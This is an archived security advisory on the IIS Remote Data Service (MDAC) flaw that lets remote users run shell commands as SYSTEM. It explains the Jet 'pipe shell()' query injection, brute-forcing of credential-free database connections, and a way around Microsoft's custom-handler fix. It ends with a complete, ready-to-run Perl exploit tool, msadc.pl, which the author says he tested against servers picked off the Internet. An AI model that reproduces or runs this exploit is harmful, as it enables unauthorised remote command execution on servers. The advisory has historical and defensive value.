COMMAND
IIS (RDS)
SYSTEMS AFFECTED
WinNT running IIS with RDS enabled
PROBLEM
Greg Gonzalez found following. In Microsoft's Security Bulletin
MS98-004 MS addressed the ability to issue Shell commands if MDAC
1.5 components were installed on a machine running IIS 3.0 or 4.0.
MDAC 1.5 is installed by default as part of the Windows NT 4.0
Option Kit installation, as well as part of other Microsoft
products. The bulletin refers to the need for a valid database
userID and password combination for the exploit to work. Greg
recently discovered a way to issue Shell commands as SYSTEM
without the need for userIDs (and therefore no password required).
This exploit also does *not* require the presence of any sample
Web applications or example code, or even an active database.
All that is required on the server is an active RDS DataFactory,
and all that is required on the client is the ADO Recordset
Library. A Web Server with Index Server on it, for example, is
susceptible to this exploit if MDAC 1.5 is, or ever was, on the
box (a standard installation from the Windows NT 4.0 Option Kit).
The exploit itself combines a couple of relatively standard
development techniques, and one not-so-standard technique that has
been reported on before. The non-standard technique is issuing
Shell commands using an Access query as described by
.rain.forest.puppy. in his Bugtraq post earlier this year
http://www.geek-girl.com/bugtraq/1999_2/0544.html
One of the standard techniques Greg will mention is calling RDS
from VB or VBA, which MS describes in detail in Q165297.
Following text is based on paper by rain forest puppy / ADM /
Wiretrip. It is not presented in whole part as got nothing to do
with bug.
Greg Gonzalez (re)posted his findings of vulnerabilities in
regards to the RDS problems originally detailed in MS98-004, which
came out around July 16, '98. He took that issue (which is
basically the simple fact that 'Remote Data Service' components
allow *remote* access to your *data*....who would have thought?)
and combined it with the Jet pipe/VBA delimiter 'feature' RFP
discussed in his recent advisory. The result?
1. You can make remote queries via RDS
2. You can embed NT command line commands in queries
But, Greg threw in a twist which supposedly is the kicker:
3. You don't need user IDs (and therefore no password
required), does *not* require the presence of any sample
Web applications or example code, or even an active
database.
That's a pretty big kick. Wow, no UIDs/passwords, NO SAMPLE
SCRIPTS! Now, the sad part. They didn't released details (at
least at time of writing, but Security Bugware will simply append
them to this advisory when they will be released).
RFP has guess at Greg's RDS Vulnerability ('guess' because he may
not be right). Ok, so Greg's RDS vulnerability has three main
aspects:
1. You only need RDSServer.DataFactory component
2. It uses Jet queries with my embedded VBA via pipes trick
3. You don't need userIDs (and therefore no password
required), does *not* require the presence of any sample
Web applications or example code, or even an active
database
Now, for those of you who don't know, RDS is basically a way to do
remote data queries to a server. This is done over the web.
Basically your client app communicates via HTTP to the
/msadc/msadcs.dll on your server. The msadcs.dll exposes the
RDSServer.DataFactory object, or better known as the
AdvancedDataFactory. Now AdvancedDataFactory only has four
methods, so we're kind of limited on what we can do. We can
CreateRecordSet, Query, SubmitChanges, and ConvertToString. Query
and SubmitChanges require a valid database to work upon. The
other two are just data mangling functions. So there you have it,
that's what we have to work with.
RFP played with CreateRecordSet and ConvertToString. This
actually relays data from the client, to the server, and back.
His hopes were that somewhere in there he could slip one of his
pipe-VBA-shells in there and do fun stuff. But nope, all they did
was regurgitate the data in a different flavor. Oh well.
SubmitChanges just basically does an elaborate UPDATE/INSERT,
where it just syncs the server's database with the client's
recordset. So that leaves Query.
Well Query lets us run queries against an (existing) database.
And we know we can embed our pipe-VBA-shells in queries, so Query
looks good. But this is nothing spectacular. And there is one
catch: the need for an existing database. We need to pass a DSN
to the ActiveDataFactory to actually run the query on. The
problem with the DSN is that:
1. DSNs can require UIDs and passwords
(but actually there's a DSN called advworks that is
automatically configured by RDS Server and don't require
password as mentioned after. And using the method bellow
(showcode.asp) you can pick up some DSN UIDs and passwords
without any problems.
2. There's no way to get a list of available DSNs (** through
RDSServer.DataFactory functions, that RFP is aware of **)
(But since Advanced Data Control packet comes with some
more As-Designed-bug-features like
/msadc/samples/SELECTOR/showcode.asp actually there's a
way to retrieve the ODBC list wich is in \winnt\odbc.ini.)
3. A DSN constitutes an 'active' database
So DSNs blow away point 3 of our known things about Greg's RDS
vulnerability. What if we can get around using DSNs? Well, we
can. See, you can go the easy route by specifying "DSN=rfp", and
then the server keeps all the internal information about that DSN,
including driver, actually database file location (if it's a
file-based driver), UID, password, connection parameters, etc.
Well, what's fun is that we can directly give all that stuff in
the query setup instead of a DSN. Let's say we setup a DSN named
'rfp' (for Rain Forest Puppy or R. F. Prigogine). We will use
these parameters:
DSN name 'rfp'
Microsoft Access (Jet) driver
c:\rfp.mdb for our database
UID will be 'rfp'
password will be 'prigogine'
So by invoking "DSN=rfp", the server knows to use the Access
driver on the c:\rfp.mdb file. DSNs are a nice tight way to
precompose all that information. Or we can do it on the fly.
Rather than issuing a "DSN=rfp" connect string, you can use
instead:
"driver={Microsoft Access Driver (*.mdb)}; dbq=c:\rfp.mdb;"
This will still invoke the Access (Jet) driver, and tell it to
directly use c:\rfp.mdb. No UID. No password. No even worrying
about if/what DSNs exist. That whacks out part of known point #3
(no UID or password). We're going to use the RDSServer.DataFactory
control (known point #1), and we're going to use the Access driver
with fun pipe-VBA-shell features (known point #2). We're not
using any other web sample scripts, so that cuts out another
portion of known point #3. Oh, we're so close...can you taste it?
There's still one minor detail. Notice we have to specify the
'dbq=' parameter in the connection setup. And this needs to be a
valid file. If it's not, the SQL engine on the server side will
fail and return errors before it even gets around to looking at
our queries. But damn, we need an .mdb file to connect to. Well,
if you look in the Access ODBC reference on Microsoft's website
(which sucks, half the links were broken at various moments
through the night while sifting through it) you will see that you
can pass a CREATE_DB parameter to the Access driver. This will
cause the driver to construct a valid (empty) .mdb file. Woohoo!
So in our connection setup we pass a "CREATE_DB=c:\rfp.mdb"
attribute with everything else and low and behold, it didn't work.
The problem was that it was passing the CREATE_DB parameter during
the SQLDriverConnect() phase, and that just isn't going to cut it.
We need to issue a SQLConfigDataSource() call (RFP thinks that was
it...) to get CREATE_DB to do it's thing, and
RDSServer.DataFactory.Query just wasn't going to give us love.
So, after struggling with other nuances and ideas, RFP concluded
that he couldn't make a DSN, or a .mdb from scratch using Access
SQL via RDSServer.DataFactory without connecting to a
database/.mdb beforehand.
Well damn, so we need a database to make this work. Any 'ol
database will do (hell, even the WINS or DHCP .mdb should work).
But unfortunately, none come by default on a standard NT install.
But wait....all is not lost.... It seems when you do a 'typical'
or better install with Option Pack 4, a particular .mdb is
installed...namely the btcustmr.mdb which is installed to
%systemroot%\help\iis\htm\tutorial\. Microsoft saves the day!
They're just so damn efficient at helping us hack their own
product... To get IIS 4.0 you practically need to install Option
Pack 4, which will also then install MDAC 1.5--this is good.
Let's just hope they didn't pick the 'minimal' install... The
last catch is that we need to figure out what %systemroot%. On
the majority of the systems it will probably be c:\winnt,
d:\winnt, e:\winnt, or f:\winnt (don't laugh, mine is f:). We can
guess some wacko might do \win, \windows, \nt, and if you upgrade
it may be \winnt351 or \winnt35. Well, we can do a little 'brute
force' on all those combinations until one works. Oh, and no, you
can't do "dbq=%systemroot%\help\iis\htm\tutorial\btcustmr.mdb" as
the SQL driver pukes that way. So that's the guess! Mr. Gonzalez
is using a connection string similar to
"driver={Microsoft Access Driver (*.mdb)};
dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;"
with a query that contains one of the pipe-VBA-shell commands.
Now, RFP thinks this technically meets all the known points of
the exploit--the only fuzzy one is where Greg mentions "no need
of an *active* database". Now, he may be reading into it, but
btcustmr.mdb is hardly active. It's a totally unused .mdb sitting
in a directory most people probably didn't know existed. Just to
double check, he did a quick little test... and six of the ten
servers he picked off the Internet were susceptible to this
method. Now, RFP obviously could be wrong. Maybe Greg found a
way to create the .mdb, or some other way where he doesn't need to
rely on the existence of btcustmr.mdb.
Let's also mention the contenders. They were contenders, but
definitely did not make the final round because as much as the
'look' and 'smelled' exploitable, RFP couldn't get them to crack:
1. Data Shape Provider. This already has hooks into the VBA
interpreter (you can put VBA commands in the CALC()
function--except it lacks shell()), and is a primary suspect
in your eyes. The bonus is that you do *not* need any database
files to use this. Well, barring the fact that we really don't
know what we're doing, RFP played around with it trying to feed
some pipe-VBA-shells to it and whatnot, but couldn't get
anything interesting to happen. Now, this is installed by
default, has VBA hooks already, doesn't need a database, etc.
2. Index Server Provider. Now, not all places use Index Server,
so we highly doubted this was the route, but it is a contender.
Again, you don't need a database file, so that's a bonus. RFP
tried the usual pipe-VBA-shell commands, but no go either.
If RFP really had to choose, he would say the exploit was in the
Data Shape Provider (which Microsoft also warned of in the
advisory). But since he couldn't get it to give me love, he went
with btcustmr.mdb. So, yes, RFP could be wrong. But he figured
why not just feature pack this script to *really* kick some ass?
So, he wasted a few brains cells and thought of some good things
to toss into the code (might as well make this a useful tool!).
The first one is pretty obvious. There are many applications on
the market, that would be used on a server, that would
make/require a DSN. For instance Cold Fusion creates a few DSNs,
as does iHTML. Some of the sample apps that come with IIS create
DSNs as well, and the MDAC makes a few too. All these potential
DSNs. Remember, it only takes one DSN to work. So if we wanted
to, we could scan to see if any of a number of default DSNs
exist, and if they do, use them. An extension of this would be
user created DSNs. Again, all we need is the DSN name, so we can
scan for what are 'psychologically' common DSN names. For
instance test, web, data, database, www, db, and sql are common
type DSN names. Basically, if you supply a dictionary file of
DSN names you want to use, the script will sit there and brute
force, a la a remote password cracker on the DSN names. Of
course, we'd need DSNs with the Access Driver. But what's nice
is that if we connect to a valid DSN with an invalid SQL query,
we'll get back the name of the driver in the error message. So
it's a nice way to check. Then we can also do an inverse type
thing--instead of looking for common DSNs to connect to, we can
look for common .mdbs to connect to. For instance MS Cert Server,
DHCP, and WINS all use .mdbs, as well as particular sample
scripts, SDKs, etc. We can just try to connect to them directly.
If we find one, rather than dealing with the table information
within the .mdb, we can just CREATE TABLE on it first, and then
use the table we just created. Very simple. Another interesting
feature is dumping the root scope paths from Index Server.
Basically it's a query of "Select paths from scope()". This is
useful because it can provide us with useful directory
information...since one of the tricky problems is determining
location of html files and systemroot (although they're most
likely guessable, that's not always the case). So RFP tossed this
in for kicks, although it doesn't run 'inline' with the actually
DSN/.mdb checks. You invoke this functionality separately.
The last extra functionality, but the easiest of them all, is to
see if /scripts/tools/makedsn.exe exists on the webserver. If it
does, we can make a DSN and define the .mdb file to use, and then
use it right away. In particular script RFP make a DSN named
'wicca'. So, wow. Lots of ways to get a database connection.
RFP's RDS script tries them in the following order, continuing
until successful:
- try raw driver connect to btcustmr.mdb
- try to create a DSN with /scripts/tools/makedsn.exe
- look for common DSNs
- look for common .mdbs
- try 'dictionary' attack on user DSNs
And separately you can query Index Server to get the paths
information (Warning: this could be a lot of information! The
script automatically sorts out common directories). One
interesting feature that's almost necessary is a 'resume' mode.
Imagine you just scanned a webserver, spending the last 5 minutes
trying all the combinations of valid default .mdbs, valid DSNs,
etc. Finally it cracks and you get one, and you run your
command. Well, what if you want to run another command? Do you
have to go through that rigmarole again? Well, not with this
script. When you make a successful connection, it writes out a
file called 'rds.save'. Then, you can just use the 'resume'
switch (-R), with no other options. It will read in rds.save,
and let you run a command against the successful connection again
right away. More Bonus Features? You see, MDAC 1.5 installs
*three* objects by default. RDSServer.DataFactory, which we've
discussed before. AdvancedDataFactory, which is really an alias
to RDSServer.DataFactory. But there's also one called
VbBusObj.VbBusObjCls. This is really an example of a middle-tier
business object of the possible three-tier RDS model. It
implements four functions: Test, GetMachineName, ExecuteSQL, and
GetRecordSet. Test does nothing for us. GetMachineName is fun
just because it returns the machines NetBIOS name, which is useful
in many cases. So let's toss it in. You invoke it with the -N
switch.
Now ExecuteSQL and GetRecordSet do basically the same thing, run
a SQL query. The difference is ExecuteSQL just returns how many
records we affected, while GetRecordSet returns the records as
actual data. RFP chosed to use GetRecordSet because it integrated
better with the rest of the code, since it's return was strikingly
familiar to the output from the RDSServer.DataFactory control.
This is not a big deal, other than a bandwidth issue, but we're
not talking more than a few K of data here anyway. 'uh, so what.
There's another way to do the same thing. I mean the
GetMachineName thing is cool, but not all that much special'.
Well, no. Your wrong. And let me tell you why.
Starting with MDAC 2.0 you can define custom handlers. Basically,
rather than RDSServer.DataFactory going straight to the database
driver, it takes a side trip through a handler. This is the fix
Microsoft mentioned in their security advisory MS99-025. They
recommend you switch the following registry entry
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
"handlerRequired"=dword:00000001
"DefaultHandler"="MSDFMAP.Handler"
which tells RDSServer.DataFactory that RDS *must* use a handler,
and that the default handler is MSDFMAP.Handler. Then you can use
msdfmap.ini to specify options for denying certain connections,
etc. Microsoft even supplies HANDSAFE.EXE, which auto-extracts
to a .reg file that sets the above registry keys, plus a list of
safe handlers. So if you need RDS, the preferred upgrade route
from MDAC 1.5 is to install the latest MDAC 2.x, and then run
HANDSAFE.EXE to make sure to limit outside queries by using
handlers, which are controlled. Well, all this fun handler crud
is implemented in RDSServer.DataFactory. So we're kinda screwed
when we run RDSServer.DataFactory.Query (as we should be, as this
is the fix). Well, guess what. VbBusObj.VbBusObjCls doesn't
care about handlers. We just effectively bypassed the handler
thing. Wait, let me spell it out for you:
THE MICROSOFT CUSTOM HANDLER FIX DOES NOT PREVENT THIS. WE CAN
STILL RUN QUERIES. HANDSAFE.EXE/CUSTOM HANDLERS (THE
RECOMMENDED MICROSOFT FIX) DOES NOT PROTECT AGAINST THIS.
So we just use VbBusObj.VbBusObjCls instead of
RDSServer.DataFactory. Simple enough. This is definately a
worthwhile feature. You can cause the script to use VbBusObj by
specifying the -V option. But let'd admit: VbBusObj.VbBusObjCls
is not always installed. So this is not always the case. But
it's a case, none-the-less.
NOTE: When using VbBusObj, RFP suggests you use -N *FIRST*. If
you get a valid NetBIOS name back, VbBusObj exists. If
you use -V without verifying VbBusObj exists, and in fact
it doesn't exist, the script/connection will HANG! So just
humor me first and use -N first to see if -V is a valid
option.
To run the program, just save this whole advisory to a file, such
as msadc.pl (be sure to convert some HTML stuff to text). Then
run "perl -x msadc.pl". Perl is smart and will figure out how to
run the script at the end. Ok, the command switches are as
follows:
-h <ip or domain> this is the host to scan. You MUST either use
either -h or -R.
-d <value 0-?> this is the delay between connections. Value
is in number of seconds. RFP added this
because hammering the RDS components caused
the server to occasionally stop responding.
Defaults to 1. Use -d 0 to disable.
-V Use VbBusObj instead of DataFactory to run the
queries. NOTE: please read the -N information
below as to suggestions for checking if
VbBusObj exists. VbBusObj does not give good
error reporting; therefore it is quite
possible to have false positives (and false
negatives). Consider VbBusObj support 3
stages before beta.
-v verbose. This will print the ODBC error information.
Really only for troubleshooting purposes.
-e external dictionary file to use on step 5--the
'DSN dictionary guess' stage. The file should
just be plaintext, one DSN name per line file
with all the DSN names you want to try. Quite
honestly a normal dictionary file won't do you
much good. You can probably do pretty damn
well with a few dozen or two good ones, like
'www', 'data', 'database', 'sql', etc.
-R resume. You can still specify -v or -d with
-R. This will cause the script to read in
rds.save and execute the command on the last
valid connection.
-N Use VbBusObj to try to get the machine's
NetBIOS name. It may return no name if the
VbBusObj is unavailable. Use -N to see if
VbBusObj exists (a NetBIOS name will be
returned if so) before you use -V.
-X perform an Index Server table dump instead.
None of the other switches really apply here,
other than -v (although -d still works,
there's no need to slow down one query). This
dumps the root paths from Index Server, which
can be rather lengthy. Pipe the output into a
file. Also, if there is a lot of return
information, this command may take a while to
complete. Be patient. It is not suggested to
use this command more than once a minute...it
caused P200 w/ 128 RAM to stop answering
requests, and in general borked inetinfo.exe.
If you do decide to CONTROL-C during the
middle of the data download the script will
save all received data into a file called
'raw.out', so you don't loose everything
you've already received. NOTE: this is the
raw data, which is in Unicode.
The script reports 'Success!' when it has issued a valid SQL
statement. 'Success!' does *NOT* mean that your command worked.
If they have MDAC 2.1+ shell commands are worthless, so the script
will report 'Success!' (it went through) but your command didn't
run (MDAC 2.1 didn't interpret it). There's no return indication
to know whether your command worked or not. As with the ODBC
commands, you're flying blind. Future updates to this advisory
and exploit code will be posted to
www.technotronic.com/rfp/
Again, to run this, save this advisory to a file (for instance
msadc.txt, but be sure to save it as text) and then run 'perl -x
file' (ie perl -x msadc.txt).
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=<STDIN>; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;
print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
print "\nStep 3: Trying known DSNs...";
&known_dsn;
print "\nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
print "Sorry Charley...maybe next time?\n";
exit;
##############################################################################
sub sendraw { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
##############################################################################
sub make_header { # make the HTTP request
my $which, $msadc; # yeah, this is WAY redundant. I'll fix it later
if (defined $args{V}){
$msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen
EOT
; } else {
$msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen
EOT
;}
$msadc=~s/\n/\r\n/g;
return $msadc;}
##############################################################################
sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;
if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}
elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}
elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}
elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}
$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}
##############################################################################
sub make_shell { # this makes the shell() statement
return "'|shell(\"$command\")|'";}
##############################################################################
sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}
##############################################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}
##############################################################################
sub make_dsn { # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}
##############################################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}
##############################################################################
sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");
foreach $dir (@dirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
##############################################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##############################################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}
##############################################################################
sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}
##############################################################################
sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else { print "failed\n"; verbose(odbc_error(@results));}}
elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!\n";} else { print "failed\n"; }}
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!\n"; } else { print "failed\n"; }}
exit;}
##############################################################################
sub create_table {
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}
##############################################################################
sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");
foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n" if (!defined $args{V});
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";}
##############################################################################
sub is_access {
my ($in)=@_;
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}
##############################################################################
sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}
##############################################################################
sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
# this is sparse, because I don't know of many
my @sysmdbs=( "\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just \
foreach $drive (@drives) {
foreach $dir (@dirs){
foreach $mdb (@sysmdbs) {
print ".";
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if
(!defined $args{V});
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}}}}}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "\n" . $drive . $dir . $mdb . " successful\n" if
(!defined {V});
if(run_query($drv . $drive . ":" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}}}}
}
##############################################################################
sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}
##############################################################################
sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n" if(!defined $args{V});
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}}
print "\n"; close(IN);}
##############################################################################
sub sendraw2 { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }}
##############################################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
